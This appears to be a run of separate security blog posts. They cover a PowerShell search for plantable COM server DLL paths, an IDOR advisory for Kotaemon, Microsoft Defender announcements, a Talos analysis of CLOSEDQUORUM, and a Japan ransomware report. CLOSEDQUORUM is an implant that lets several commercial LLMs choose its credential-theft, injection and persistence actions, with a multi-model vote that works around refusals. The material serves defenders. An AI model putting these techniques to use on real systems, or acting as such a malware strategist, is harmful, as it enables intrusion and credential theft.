As a footnote, a quick way to try and find other dangling COM servers would be to use the following PowerShell script with my OleViewDotNet and NtObjectManager modules installed:
function Test-ComServer {
param($Server)
try {
Use-NtObject($lib = Import-Win32Module -Path $Server -Flags AsDataFile) {
$true
}
} catch {
$false
}
}
PS> $db = Get-ComDatabase -LoadMode MachineOnly
PS> $cs = Get-ComClass -Database $db -ServerType InProcServer32
PS> $cs | ? { -not (Test-ComServer $_.DefaultServer) } |
Sort DefaultServer | Select Name, DefaultServer
This will print out any in-process COM class from the machine hive where LoadLibrary can’t find the DLL. It’s important to use LoadLibrary via the Import-Win32Module command as some of the COM registrations only specify the file name and you want to ensure these are resolved correctly according to the system path.
This script will find the dangling CrossDevice COM class on an unpatched system. Note, you’ll need to manually inspect the paths to see if a DLL can be planted at that location. You could make it smarter by checking if the path is in a directory that can be written to, or even test if an existing DLL can be modified, but that’s an exercise for the reader.
Cinnamon's Kotaemon (all versions up to v0.12.0) multi‑user chat interface does not verify conversation ownership when loading a conversation. Any authenticated user can read, delete, rename, or overwrite another user’s conversation data by supplying the correct ID. This results in high‑impact confidentiality, integrity, and availability violations.
Cinnamon's Kotaemon is an open‑source, retrieval‑augmented generation (RAG) based tool that lets you build a chatbot capable of "chatting with your documents". As discussed in CVE-2026-86867, all versions up to v0.12.0 fail to verify conversation ownership when loading a conversation. In multi‑user mode, each conversation row includes a user field that identifies its owner. The four affected handlers, select_conv, delete_conv, rename_conv, and persist_chat_suggestions, query conversations using select(Conversation).where(Conversation.id == conversation_id)
No predicate is included to ensure Conversation.user == user_id. As a result, any authenticated user can operate on conversations they do not own.
Impacted operations include:
* select_conv – reads the full chat transcript, RAG retrieval history (verbatim excerpts from uploaded private documents), plot history, and suggestion data belonging to another user.
* delete_conv – permanently deletes a conversation.
* rename_conv – renames a conversation.
* persist_chat_suggestions – overwrites a chat suggestion list.
Although select_conv includes an ownership check for the selected (file‑picker) field, all sensitive payloads (chat history, retrieval history, plot history) are returned unconditionally. The system trusts user‑controlled identifiers for authorization. Attackers require only an authenticated account on the instance and a victim conversation UUID (Universally Unique Identifier). Affected users’ public conversations appear in the global conversation browser, exposing their UUIDs. If a conversation is later set to private, the UUID remains unchanged and still valid. Similar direct calls to delete_conv, rename_conv, and persist_chat_suggestions allow deletion, renaming, or content overwriting. No elevated privileges are required; any authenticated user account is sufficient.
Full chat transcripts and RAG retrieval history for any conversation are disclosed. For Kotaemon's primary deployment use case (enterprise document Q&A over proprietary knowledge bases such as legal briefs, financial reports, research papers, and internal strategy documents), the retrieval_history field contains verbatim excerpts from those private documents. A single IDOR (Insecure Direct Object Reference) read may expose more sensitive content than what the affected user intended to share with any other party.
Conversations can be renamed or have their suggestion state overwritten. While the impact of renaming is limited, the persist_chat_suggestions path allows an attacker to inject attacker-controlled prompt suggestions into the victim's conversation UI, a potential vector for prompt injection if the AI model acts on suggested prompts.
delete_conv permanently destroys any conversation with a single call. An attacker can systematically delete all conversations of a target user or across all users if they have access to the UUIDs. There is no recycle bin or soft-delete in the Kotaemon data model for conversations.
Because retrieval_history contains verbatim document chunks (not just file names), the attacker does not need separate file-read permissions to access the content of documents indexed into the victim's knowledge base. The chat conversation becomes a side-channel through which document content leaks.
Unfortunately, the vendor could not be reached to coordinate this vulnerability. While an official patch is not available at this time, please refer to the vendor's web site and GitHub repository (listed in the references below) for future updates.
https://github.com/Cinnamon/kotaemon
https://cinnamon.github.io/kotaemon/
Thank you to Louis Sanchez for reporting this vulnerability. This document was written by Bob Kemerer.
| CVE IDs: | CVE-2026-86867 |
| Date Public: | 2026-09-23 |
| Date First Published: | 2026-09-23 |
| Date Last Updated: | 2026-09-23 19:24 UTC |
| Document Revision: | 2 |
Cyberattackers are using agents to automate execution at unprecedented scale. What once required entire teams now requires a single operator and an agent framework.
That shift has exposed a hard truth: security cannot operate at AI speed when protection and operations are built as separate systems. Every handoff, integration, and boundary slows defenders down. Agents inherit that complexity.
For agentic security to work, the industry needs a different model. It needs a modern cyber stack with the breadth to see across the environment and the depth to investigate and act. Security operations and native protection must function as one system. This is the integrated security operations center (ISOC).
Today we are announcing ISOC in Microsoft Defender: a foundation built for agentic security that brings leading solutions for security information and event management (SIEM) and threat protection together. It gives people and agents a shared foundation to see, understand, and act across the environment, without the complexity of operating separate systems.
In July 2026, we introduced the end-to-end cyber stack alongside Project Perception, with the focus of delivering the right models, a harness, and specialized agents to help defenders perceive, reason, and act at machine speed. But we are innovating at every layer of the stack, because intelligence and orchestration alone are not enough. Agents depend on the rest of the stack working as one.
They need signals and sensors that provide visibility, context that turns those signals into understanding, and actuators that translate decisions into protection. With ISOC, these layers work in unison, so agents can move beyond isolated tasks and help operate an agentic SOC.
Signals and sensors give the system awareness.
Context turns those signals into understanding.
Actuators turn insights into protective action.
ISOC brings these capabilities together as a foundation, so humans and agents can operate as one system, each contributing what they do best. Agents provide the speed and scale to execute continuously, while people set priorities, apply judgment, and define the outcomes that matter. Together, they empower defenders to keep pace with AI-powered threat actors and achieve better security outcomes.
With ISOC enabling signals, context, and controls to work as one, it breaks the pattern of linear security workflows. The result is an integrated protection loop that continuously turns what defenders learn into stronger pre-breach protection.
Attack disruption in Microsoft Defender shows what this makes possible. Rich telemetry and controls enable the system to detect, predict, and adapt to an attacker while the attack is still unfolding. It disrupts threats in progress and anticipates where attackers may move next. It’s a protection loop that uses exposure insights to strengthen protection in near real-time with threat intelligence focusing the loop on the threats that matter most.
ISOC brings together the capabilities needed to make this loop native, eliminating the burden of assembling, tuning, and maintaining it yourself. And as protection advances, new capabilities can become part of that loop. The result is stronger protection and a different way of working, where practitioners spend less time chasing individual signals and more time applying judgment, setting priorities, and driving security outcomes.
For too long, practitioners have had to compensate for the boundaries in their security architecture, stitching together signals, rebuilding context, and moving between tools just to get the information and controls needed to act.
ISOC changes their starting point. The capabilities practitioners need to investigate, hunt, automate, manage incidents, understand threats, and take action are brought together and available by default. Instead of organizing their work around the boundaries between tools, teams can organize around the security outcome they are trying to achieve.
And that foundation gets more powerful as autonomy grows. The integrated protection loop can take on more of the continuous work of detecting and defending against threats, while agents help practitioners investigate, reason, and act using the same context and controls already available to them.
There’s no separate agentic layer to assemble or new operating model to stitch together. Practitioners can multiply their expertise where they already work, shifting more of their time from operating the security stack to directing the defense.
Security has always been a race between attackers and defenders. AI changes the speed, scale, and economics of that race. The next SOC will not be defined by how many AI features it has, but by whether people and agents can perceive, reason, and act across an environment as one system.
Integrated security operations center (ISOC) in Microsoft Defender is available in preview today. Watch a recording of the full announcement or download the whitepaper: Agentic SOC: The new operating model for continuous defense.
To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.
The post Reimagining the SOC for the agentic era in Microsoft Defender appeared first on Microsoft Security Blog.
For five consecutive quarters Microsoft has published email security benchmarking reports to provide greater transparency into real-world protection outcomes. The results have shown strong Microsoft Defender performance across pre-delivery and post-delivery scenarios, while revealing where threats and defenses continue to evolve.
This quarter’s benchmark examines how continuous measurement informs protection across prevention, detection, and adaptation, and how those insights are helping improve customer outcomes.
In the latest quarterly SEG comparison from May 2026 through July 2026, Defender missed 221 high-severity threats per 1,000 protected users, 55.4% fewer than the next-closest SEG vendor. The benchmark measures missed threats instead of the total number of malicious emails that were caught and filtered, because catch totals can reflect differences in threat volume and exposure across vendor environments. By normalizing missed threats per 1,000 users we are able to provide a more consistent side-by-side comparison.
If you’ve read our previous blogs, you’ll see that missed threats have increased across multiple reporting periods, including for Microsoft. This aligns with broader trends we’re seeing as AI makes it easier for cyberattackers to gather public information, tailor messages, and create more convincing impersonation attempts. It reinforces the need for protection that continuously adapts.
Effective email detection combines pre-delivery filtering with post-delivery detection and remediation. This benchmark helps customers evaluate where each layer contributes measurable value.
Similarly to previous quarters, integrated cloud email security (ICES) solutions continue adding the most value in promotional and bulk filtering. We saw an improvement in ICES vendor malicious catch at 0.30% versus 0.13% in the last quarter and spam catch going up to 0.52% versus 0.28% compared to last quarter.
Defender caught 92% of post-delivery malicious messages on average during the benchmark period, highlighting how the combination of pre-delivery and post-delivery remediation delivers strong results for customers.
At the same time it’s key to understand that Defender doesn’t treat post-delivery remediation as a point-in-time action after the email was first delivered to the inbox. Even after a message reaches the inbox, new threat intelligence can reveal risks that were not apparent at the time of delivery. Defender continuously reevaluates delivered messages and remediates threats as new indicators, campaign intelligence, and threat signals emerge.
The value of benchmarking is what happens after measurement. Insights from customer feedback, threat telemetry, and benchmarking have informed recent Microsoft Defender investments:
Since July 2025, our goal has been to bring greater transparency to email security effectiveness. Today, we are using benchmarking to help customers understand how cyberthreats evolve, where defenses add value, and how protection improves over time.
Benchmarking is not simply about demonstrating effectiveness, it is about learning from real-world outcomes and translating those insights into stronger protection. As cyberattackers continue to innovate, we remain committed to sharing evidence, improving our technology, and helping customers stay ahead of emerging cyberthreats.
To explore the latest benchmarking data and learn more about how Defender and ICES partners work together, access the benchmarking site.
Learn more about Microsoft Defender.
To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.
The post Improving email security outcomes with real-world Microsoft Defender insights appeared first on Microsoft Security Blog.
AI’s impact on offensive cyber operations has thus far mainly focused on two dimensions: speed and scale. Attackers can generate phishing lures faster and produce more malicious code variants with less effort. These are real effects, visible in the proliferation of AI-generated coding samples and agent-assisted intrusions that have become common in the past few years. But in each case, the human operator remains present: directing the tooling, selecting targets, and guiding the execution. AI makes the operator faster and more productive but does not remove them from the operation.
A third dimension has received less attention in the malware space: effort displacement. This is not merely augmenting what an operator can accomplish in a session but transferring an entire phase of the attack from the operator to the system. Effort displacement compounds the effects of speed and scale because the human-in-the-loop is no longer the bottleneck. Human operators are bound by attention, working hours, and cognitive load. An AI system capable of executing a phase of the attack chain can continue when the operator is no longer watching. It does not go offline when the attacker sleeps.
Today Cisco Talos released CAIRN, our open-source research toolkit for tracking AI-integrated malware. This is the first in a series of posts sharing what we've found. While the threat class of CAIRN findings may span from experimental proof-of-concept to sophisticated active campaigns, the nature of the threat is aside from the focus: actively studying this frontier provides actionable insights to offset how threat actors are operationalizing AI.
CLOSEDQUORUM is, to our knowledge, the first publicly documented Windows implant to apply this model to tactical command and control (C2). After deployment, it delegates the selection of its next action to a panel of commercial large language models (LLMs) and executes the resulting decision, with the intent of harvesting user credentials and crypto wallets. It does not require continued commands from a human operator or tasking from a dedicated, attacker-operated C2 server; the complete dynamic operation is delegated to the AI.
The name reflects the architecture. A quorum is a decision-making body that requires some minimum of participants to act. CLOSEDQUORUM's quorum is up to four LLM providers: DeepSeek, Qwen, Mistral, and Google Gemini. The session is closed; no humans are admitted. Four models are queried in sequence, their independent verdicts tallied, and the binary acts, based on their judgment.
The CLOSEDQUORUM C2 architecture supports up to four LLM provider integrations. Each active model votes on the next action, and the action receiving the most votes is selected.
Our static analysis confirms the full details of the autonomous decision loop, and development builds demonstrate build-time injection of provider credentials. The public distribution build, however, contains placeholder API keys and a dummy webhook, so we did not observe a complete end-to-end execution of the architecture.
Further details of this post document how CLOSEDQUORUM works, what it can do, and what it means for the future of autonomous offensive AI tooling.
CLOSEDQUORUM is a 16.4MB, 64-bit Windows executable compiled in Go. It contains a range of offensive implant functionality, but that isn’t what makes it unique. The foundational design choice in CLOSEDQUORUM is the treatment of LLM providers as the C2 infrastructure.
CGO_ENABLED=1 confirms the binary mixes Go and C code, which is how it makes direct Windows system calls. Traditional C2 architecture requires the attacker to operate server infrastructure: a domain, an IP, a protocol, and a listener. That infrastructure is attributable, blockable, and expensive to rotate. Defenders track C2 domains. Threat intelligence feeds publish C2 IPs. Certificate transparency logs expose new C2 infrastructure before it's used. Instead of a singular, unique C2 server, CLOSEDQUORUM calls up to four commercial LLM provider endpoints used by thousands of legitimate applications daily.
The providers are queried one-by-one by the ModelOrchestrator. Their responses are aggregated as a []LLMDecision slice and resolved by interModelDiscussion() into a single action via plurality voting: each provider's Decision field value increments a map[string]int counter, and the highest-count decision wins. The multi-provider design serves both aggregation and resilience, reducing the effect of individual refusals, timeouts, and malformed responses. It increases the likelihood of obtaining a valid decision but does not guarantee one.
Four providers increase the chance that the quorum reaches a decision even if one or two members are unresponsive, or for example, one model is hitting a guardrail. If all models fail, the fallback decision is consensus: a string with no corresponding capability handler, causing the loop to sleep and retry rather than take a default action.
main.interModelDiscussion, Ghidra decompiler view.The process is described in Figure 3: (1) The four LLM provider keys are initialized as string constants: deepseek, qwen, mistral, gemini (lines 109–116). (2) The four-provider query loop while (uVar16 < 4) iterates across all providers (line 124). (3) main.queryLLM(model, prompt) the live API call that dispatches each provider's structured prompt (line 134). After the loop, responses are aggregated via plurality vote on the Decision field; the winning decision is sent to the operator's Discord webhook before the function returns.
The LLM panel is not free to respond in any format. CLOSEDQUORUM constrains it to a typed JSON schema representing a specific attack-decision language. The system prompt, as extracted from the binary, reads “You are an advanced malware strategist. Provide ONLY executable decisions.”
In the per-execution prompt template, TARGET: %s is substituted at runtime:
The response is deserialized into a Go struct:
The Decision field routes to capability modules of main.main:
steal simultaneously invokes lsassDump(), dumpBrowserCredentials(), and extractCryptoWallets(); all three run together. inject calls generateShellcode() then branches: process_hollow exploit type routes to injectProcess() (PEB-walk hollowing); anything else routes to earlyBirdInject() (APC injection). persist dispatches to establishPersistence(). move has no handler in the distribution build. The LLM must emit a valid JSON object matching a known type, and with a decision field that maps to a specific capability, or the response is discarded. This design reduces the model’s output to a constrained set of executable choices.
gatherSystemInfo() is called during initialization to capture the hostname, OS architecture, CPU count, Windows version, and admin status. These variables are stored in the orchestrator as the TARGET:%s context and injected into each LLM prompt. The system info component of the TARGET:%s is static, while target_process refreshes each cycle.
The Reasoning field preserves the LLM's rationale at execution time. A Discord webhook provides the operator with the output, as well as real-time attack telemetry, including:
inject/persist/steal/move) target_process, exploit_type, evasion_method, payload_config The attackers interest is aligned with extracting user credentials, specifically the implant targets:
lsassDump() extracts Windows domain/local credentials from memory, dumpBrowserCredentials() targeting Chrome, Edge, and Firefox saved passwords, extractCryptoWallets() hitting MetaMask (Chrome extension), Exodus (exodus.wallet), and Ethereum wallets (ethPath).Stolen material arrives AES-256-GCM encrypted in the operator's Discord channel as base64 code blocks.
In any tie, an order of preference kicks in: DeepSeek first, then Qwen, then Mistral, then Gemini.
DeepSeek holds the deciding vote in any tie: the max-finding loop iterates the decisions slice in submission order and the strict “<” comparison means the first-encountered maximum wins. If DeepSeek failed and isn't in the quorum, Qwen's vote is the deciding vote, and so on down the priority order. The tie behavior is fully deterministic and biased toward DeepSeek.
CLOSEDQUORUM appears to operate as an operator-configured service rather than malware deployed directly by its developer. The publicly observed distribution binary is an inert template: all LLM API credentials initialize to dummy_api_key and the Discord webhook initializes to dummy_webhook_url. The binary is non-functional as distributed.
Evidence from development builds indicates the developer produces a customized executable for each operator. The inferred distribution model:
The encryption uses a symmetric key derived from the current date, not a hardcoded asymmetric key. The developer's infrastructure could theoretically decrypt an operator's exfil if they know the date, which they always do. This is obfuscation, not true confidentiality separation between developer and operator. Each operator nonetheless has a distinct exfil channel and a distinct binary build.
If operated as assessed, this is a credentials-as-a-service model where the service differentiator is the autonomous LLM orchestration layer. An operator who acquires CLOSEDQUORUM does not need to be online to run their campaign. They deploy the binary, and the LLM panel runs the attack.
CLOSEDQUORUM replaces a dedicated C2 endpoint with a chain of correlated behaviors. No single indicator fully identifies the architecture, but the combination is distinct:
The most useful detection strategy is still to focus on behavioral characteristics, rather than domain blocking. Legitimate applications may contact DeepSeek, OpenRouter, Mistral, Gemini, or Discord independently. Far fewer should contact several of them while also accessing LSASS, injecting into suspended processes, or creating WMI persistence. For the full behavioral characteristics, see the technical appendix and implementation details.
CLOSEDQUORUM is best understood not as a sophisticated piece of malware, but as a demonstration that the architectural shift towards attack-chain automation is coming.
After deployment, tactical choices are delegated to a model-driven decision loop. The models receive host context, choose among implemented capabilities, provide execution parameters, and continue making decisions without human-issued commands or dedicated C2 tasking. This type of scaffolding approach could easily be translated and applied to other adversary objectives.
The displacement of human attackers also introduces weaknesses. Provider refusals, rate limits, malformed output, predictable tie-breaking, constrained action schemas, and dependence on commercial APIs all create failure modes and defensive opportunities. Autonomy does not make the implant infallible; it exchanges some human limitations for model and infrastructure limitations.
Even so, CLOSEDQUORUM demonstrates that removing the operator from a bounded phase of an intrusion is achievable with currently available models and ordinary API access. The important precedent is the demonstration of encoding tactical attack logic as model-readable context, converting structured model output directly into execution.
CLOSEDQUORUM is an early and limited example, but it makes an emerging threat model concrete and gives defenders an outline of the observable signals they can begin addressing today. As effort displacement expands across more phases of an intrusion, its effects will compound with the speed and scale already afforded by modern AI. The advantage for defenders is that this progression is still only beginning. We have an open window to study this transition, with the aim of developing the detections, controls, and response strategies needed before autonomous operations become more capable and widespread.
ATT&CK tactic | ATT&CK technique | Implementation |
Stealth (TA0005) / Privilege Escalation (TA0004): Process Injection | The default Early Bird APC routine creates a suspended Windows process, writes dynamically generated shellcode into its memory, queues the payload with NtQueueApcThread, and resumes execution. | |
| When the LLM selects process_hollow, the implant locates the suspended process’s image base, overwrites its entry-point region, and resumes the thread. | |
Persistence (TA0003): Multiple Persistence Mechanisms | The implant sets a WindowsUpdate value under the current user’s Registry Run key. | |
| The implant creates a scheduled task using schtasks.exe. | |
| The implant creates a permanent WMI event subscription that triggers execution through a system-performance query every 60 seconds. | |
| The WMI mechanism writes a script to a path consistent with C:\Windows\Temp\wmi.ps1 and executes it with powershell.exe, leaving an on-disk forensic artifact. | |
Credential Access (TA0006) / Collection (TA0009): Credential and Wallet Theft | The implant enables SeDebugPrivilege and uses MiniDumpWriteDump to capture the full contents of LSASS memory. | |
| The implant collects Chrome and Edge Login Data, Firefox logins.json, and MetaMask data stored in the Chrome extension profile. | |
| The implant collects wallet files that may contain authentication, recovery, or other sensitive material. | |
| The implant collects MetaMask, Exodus, and Ethereum wallet data from local storage. | |
| LSASS dumps, browser databases, and wallet files are copied into staging locations under C:\Windows\Temp\ before transmission. | |
Exfiltration (TA0010) / Command and Control (TA0011): Discord Webhook | The implant posts stolen credentials and other collected material to an operator-controlled Discord webhook. | |
| Discord also serves as a reporting channel through which the implant sends the LLM panel’s selected action to the operator in real time. | |
| Collected files are encrypted with AES-256-GCM using a key derived from the current date. | |
| The encrypted data is Base64-encoded before transmission. | |
| Ciphertext is divided into 1,900-byte segments and posted to Discord at one-second intervals. | |
Defense Impairment (TA0112) / Stealth (TA0005): AV and Sandbox Evasion | The implant suppresses ETW telemetry by overwriting EtwEventWrite with a single RET instruction. | |
| A secondary payload is stored in an encrypted form to impede inspection and static recovery. | |
| The secondary payload decryption key is derived from the current system time, preventing recovery outside the expected temporal condition. | |
| A five-minute initial delay and randomized 5 – 15-minute polling intervals reduce exposure to short-lived sandbox analysis. | |
| Windows Update-themed Registry, WMI filter, and consumer names help the implant blend with legitimate system activity |
The following hashes represent the developers build chain over seven days of development:
250d4fa37488af9b025333fa17705573d721467b203765bc360890b4f5a90cd7
c4dc171f2513fcaf9d5ecc815a94aee4063b213ab380f80bd3ac422dee5205a7
c13cea04f598e2b0c248d603a6e31bd13aabb64d8149c1b6a77b64e0b983a86f
f5f1f8c3e7b883793800ab6ccf21b3e60bd0730f300b4595fe74a33adc17a63c
Continued at the source.
Welcome to this week’s edition of the Threat Source newsletter.
There’s been a lot of talk recently about slowing down the pace of AI development. And yes, there are legitimate moral, ethical, geopolitical, and safety concerns with the use of AI. It’s not clear yet whether an AI slowdown could happen, let alone whether it should (hat tip to Dr. Ian Malcolm). I admit, I’m not really qualified to opine on the impacts unrestricted AI might have on bioterrorism, the balance of international power, or even our chances of being eaten by dinosaurs. What I can tell you, though, is that any sort of “AI slowdown” is not likely to have much of an impact on cybersecurity.
There are a few reasons to think this. The most obvious one is that models are already really good. We’re at the point where the newest models bring only incremental improvements in cybersecurity capabilities. Arguably, they’ve been getting better so fast that our ability to use them effectively for defensive tasks hasn’t kept up. On the offensive side, practically every recent model is already able to mine decades of tech debt to uncover an uncomfortable number of vulnerabilities. Instead of chasing model improvements, our best strategy might be to improve our agentic harnesses and frameworks, essentially giving us better capabilities with our existing models.
Maybe even more importantly, many of us are still not eating our cyber-vegetables. I get it: AI is hot. It’s sexy. It brings the money and the board’s attention. But no matter how great your AI is, if it’s sitting on the typical two-and-a-half-legged stool that is most IT environments, you’re still going to have compromises and breaches no matter how much AI you throw at it. We’ve known for a long time now that good security depends on things like asset and role inventories, identity management, least privilege, and segmented networks. They’re not as shiny as AI, but they’re more impactful in terms of making it harder for threats both human and agentic to successfully carry out attacks. This is not to say that you shouldn’t be looking at AI until you’ve solved all your other security problems; just don’t look only to AI.
Regardless of whether we slow the pace of AI development or not, we still have plenty of places to make significant security improvements using the models we already have access to. By making better use of what we already have and by investing in well-known security fundamentals, we can come out ahead no matter whether AI development accelerates, slows down, or is trapped in a kitchen with a pack of hungry velociraptors.
P.S. I’ve got some speaking engagements coming up soon (see below). If you see me, don’t be shy about asking for a Pyramid of Pain sticker or button!
Cisco Talos is sharing new insights into Japan's ransomware landscape, where incidents rose nearly 5 percent in the first half of 2026. This increase is driven by two prominent actors: "The Gentlemen," a rapidly expanding ransomware-as-a-service group, and "Qilin," which is leveraging generative AI to streamline its attacks. Both groups are aggressively targeting small- and medium-sized enterprises with double-extortion tactics.
Adversaries are working smarter, not harder. Qilin uses large language models to generate destructive scripts, accelerating their attack speed and lowering the barrier to entry. Meanwhile, The Gentlemen relies on legitimate red-teaming frameworks like AdaptixC2 to blend in, making lateral movement difficult to detect. This combination of AI-driven efficiency and stealthy techniques puts organizations at risk of data theft and operational disruption.
Strictly manage internet-accessible devices and lock down credentials. Start by auditing VPNs, disabling unused features, and enforcing multi-factor authentication (MFA) across all administrative and third-party accounts. Ensure you have robust endpoint detection to monitor for suspicious remote access or attempts to disable backups. Finally, update your defenses using the Snort rules provided in the full blog to help detect and block this activity.
Indonesia hit by Android banking app-cloning campaign
Indonesia has emerged as an early testing ground for a new Android banking malware technique that uses Google's Work Profile feature to help fraudsters evade banking security controls. (Dark Reading)
Apple patches 200 vulnerabilities with new iOS 27, macOS Golden Gate 27 releases
Approximately 100 of the resolved security defects affect both the mobile and desktop operating systems. The fixes target more than 90 platform components, including AppleKeyStore, Authentication Services, Foundation, Safe Browsing, Sandbox, Security, TCC, and WebKit. (SecurityWeek)
ClickFix attacks are tricking Mac and Windows users into hacking themselves
Hackers posting fake ads on Reddit, linking to a page that looks like HBO Max but contains a ClickFix lure that tricks people into hacking themselves. The hackers compromised the official HBO Max’s account on Reddit that was then used to post hundreds of fake but real-looking adverts to the news-sharing site. (TechCrunch)
VectraRAT can hack Windows enterprises for $250 per month
VectraRAT, a previously undocumented platform that includes a full-featured Windows implant, command-and-control (C2) infrastructure, and an operator panel built entirely from scratch rather than based on existing malware (Dark Reading)
Securing the unpatchable in an age of AI-driven vulnerabilities
Advances in AI technology will continue to identify vulnerabilities that in some circumstances are difficult, or effectively impossible, to patch. Appropriate network segmentation, rigorous visibility, and the deployment of NGFW/IPS combinations can provide a powerful compensatory layer.
Beers with Talos: Martin Lee would like everyone to go outside
Martin may have stopped being a Talos employee, but we made him come on the podcast anyway to talk about abandoning his early career aspirations of researching human viruses so he could play on the internet — and also running very long distances in crazy conditions.
SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507
MD5: 2915b3f8b703eb744fc54c81f4a9c67f
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507
Example Filename: VID001.exe
Detection Name: W32.9F1F11A708-100.SBX.TG**
SHA256: c4dd71e347a076ba24bdd2d0ee532ef991c1ef25a2431a19f850942ba2ab16b2
MD5: 9a47c4d379998ade2f8f99e23a630c06
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=c4dd71e347a076ba24bdd2d0ee532ef991c1ef25a2431a19f850942ba2ab16b2
Example Filename: WCInstaller_NonAdmin.exe
Detection Name: W32.C4DD71E347-95.SBX.TG
SHA256: 9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f
MD5: 38de5b216c33833af710e88f7f64fc98
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f
Example Filename: SECOH-QAD.exe
Detection Name: Win.Tool.Procpatcher::1201
SHA256: 38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55
MD5: 41444d7018601b599beac0c60ed1bf83
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55
Example Filename: content.js
Detection Name: W32.38D053135D-95.SBX.TG
SHA256: fed979f93bcaf4e73ebd25748093a92095d5109cbd01d55f97bdc50ce509ad2f
MD5: 207d9d891ac756b2bfad88aba5682c65
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=fed979f93bcaf4e73ebd25748093a92095d5109cbd01d55f97bdc50ce509ad2f
Example Filename: AAct.exe
Detection Name: W32.FED979F93B-95.SBX.TG**
Figure 1 summarizes ransomware incidents affecting Japanese companies from January to July 2026. According to Cisco Talos research, 90 organizations in Japan were affected by ransomware during this period. Compared with 86 incidents during the same period from January to July last year, this represents a slight increase of approximately 4.7%, indicating that ransomware incidents continue to remain at a high level.
On a monthly basis, there were approximately 13 incidents per month on average. The number of incidents increased in March and April, with April recording the highest number during the period at 19 incidents.
Cases involving overseas offices and subsidiaries accounted for 13.3% of the total. Among these, Taiwan recorded the highest number of incidents, followed by the United States and the Philippines, which recorded the same number of incidents, with multiple cases identified in each country.
The manufacturing sector continued to be the most affected industry, accounting for 34% of incidents, followed by the information and communications sector at 11% and the services sector at 9% (see Figure 2).
In terms of the size of the affected organizations, those with capital of less than JPY 100 million accounted for the largest share at 48%, followed by organizations with capital of JPY 100 million to less than JPY 1 billion at 30%. Combined, organizations with capital of less than JPY 1 billion accounted for 78% of the total, representing an increase of around 13% from 69% in 2025. This suggests that attackers are increasingly focusing their efforts on small- and medium-sized enterprises (see Figure 3).
In Japan, the most frequently observed ransomware group in the first half of 2026 was The Gentlemen, with 14 incidents. This was followed by Qilin, which caused the highest number of incidents last year, and SafePay, which had relatively few confirmed incidents during the same period last year, with seven incidents each.
The Gentlemen and SafePay have increased their activity this year and can be considered emerging ransomware groups that require increased vigilance. Other ransomware groups observed include NightSpire, NetRunner, LockBit 5.0, RansomEXX, Stormous, and AiLock.
Looking at the ransomware groups observed this year, very few of the groups that were active during the same period last year have been observed, highlighting the rapid changes in the ransomware threat landscape.
In the following sections, we examine the most prominent groups during the period, The Gentlemen and Qilin, and provide an overview of The Gentlemen, the tools it uses, attack flow and findings related to its attribution, as well as examining Qilin’s use of AI.
The Gentlemen ransomware group has been active since around July 2025. Although it is a relatively new group, it has been expanding its operations through a Ransomware-as-a-Service (RaaS) model and has already caused significant damage to organizations worldwide. The group uses a double-extortion strategy, encrypting victims’ data while also threatening to publish stolen information unless a ransom is paid.
Figure 6 shows the monthly number of listings on The Gentlemen data leak site worldwide. From January to July 2026, the number of listings shows an overall upward trend despite some month-to-month fluctuations. The number increased sharply from 48 in January to 87 in February. From March through May, it remained relatively stable at around 70 – 74 listings per month.
In June, however, the number exceeded 100 for the first time, reaching 108, and remained high at 105 in July. In particular, the figures for June and July were notably higher than those in the preceding months, indicating that listing activity has intensified compared with the beginning of the year. Compared with 48 listings in January, the 105 listings recorded in July represent an increase to approximately 2.2 times the January level.
By industry, manufacturing accounted for the largest share at 21%, followed by professional, scientific, and technical services at 16%, and wholesale trade at 13%. These three industries clearly stood out in terms of the number of incidents.
Among the remaining industries, retail trade accounted for 6%, while construction and health care/social assistance each accounted for 5%, showing a substantial gap from the top three. Incidents were also observed across a wide range of other industries, including information, finance and insurance, transportation and warehousing, and educational services.
Overall, while the activity is not concentrated exclusively in any single industry, manufacturing; professional, scientific, and technical services; and wholesale trade are particularly prominent in terms of the number of observed cases.
Talos identified open directory infrastructure believed to have been used by a threat actor associated with The Gentlemen. During our investigation, we observed numerous tools used to support ransomware operations. Our investigation found ransomware targeting ESXi and Windows environments linked to The Gentlemen. We also identified RustHound, a cross-platform Rust-based tool used to collect Active Directory (AD) information required for attack path analysis with BloodHound; exploit code targeting CVE-2025-2479, a SQL injection vulnerability that can allow unauthorized manipulation of databases; the adversary-in-the-middle (AitM) tool Responder; impacket-partial-mic, which can be used for NTLM authentication relay attacks; Ligolo-ng, which establishes tunnels into compromised networks and enables access to internal networks from external systems; the tunneling tool chisel; the remote desktop tool AnyDesk; and the file transfer tool Rclone.
Figure 8 illustrates the attack flow inferred from the commands recorded in .bash_history.
In Phase 1, the actor uses VPN software and tools such as Chisel and Ligolo to establish network routes and turn its server into an attack platform. The actor then repeatedly installs and configures reconnaissance tools such as nmap and masscan, along with BloodHound, NetExec, Responder, and Impacket for targeting AD environments, all within the same command history.
Once the attack platform had been established, the threat actor proceeded to Phase 2: target reconnaissance. They appear to have used Masscan and Nmap to assess publicly exposed hosts, VPN-related ports, web services, SMB, and other active services in order to understand the external and internal network structure. Upon gaining access to the internal network, they used NetExec to enumerate SMB shares, host information, LDAP, and computer information in Active Directory. They may also have used RustHound/BloodHound-related tools to collect domain users, groups, computers, administrative privileges, and trust relationships, with the aim of identifying paths that could be used for lateral movement and privilege escalation.
